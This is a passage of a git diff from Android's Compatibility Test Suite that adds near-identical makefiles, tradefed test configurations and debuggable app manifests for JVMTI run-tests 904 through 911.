+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_904">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="904" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_904" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
new file mode 100644
index 0000000..9e58b9b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
new file mode 100644
index 0000000..c337e82
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest905DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_905" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest905HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest905DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_905" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
new file mode 100644
index 0000000..662ea5f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest905DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
new file mode 100644
index 0000000..9092bf7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_905">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="905" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_905" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
new file mode 100644
index 0000000..553b898
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
new file mode 100644
index 0000000..dbd74f6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest906DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_906" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest906HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest906DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_906" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
new file mode 100644
index 0000000..f383007
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest906DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
new file mode 100644
index 0000000..c06dc7e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_906">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="906" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_906" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
new file mode 100644
index 0000000..cf79d0b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
new file mode 100644
index 0000000..99cd40d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest907DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_907" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest907HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest907DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_907" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
new file mode 100644
index 0000000..3ecb219
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest907DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
new file mode 100644
index 0000000..0e96029
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_907">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="907" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_907" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
new file mode 100644
index 0000000..40ef837
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
new file mode 100644
index 0000000..fca6567
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest908DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_908" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest908HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest908DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_908" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
new file mode 100644
index 0000000..c4eea2e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest908DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
new file mode 100644
index 0000000..2dddb65
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_908">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="908" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_908" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
new file mode 100644
index 0000000..8cfe0a5
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
new file mode 100644
index 0000000..a947621
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest910DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_910" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest910HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest910DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_910" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
new file mode 100644
index 0000000..108682a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest910DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
new file mode 100644
index 0000000..6fbbb29
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_910">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="910" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_910" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
new file mode 100644
index 0000000..0906b99
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
new file mode 100644
index 0000000..fb06812
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
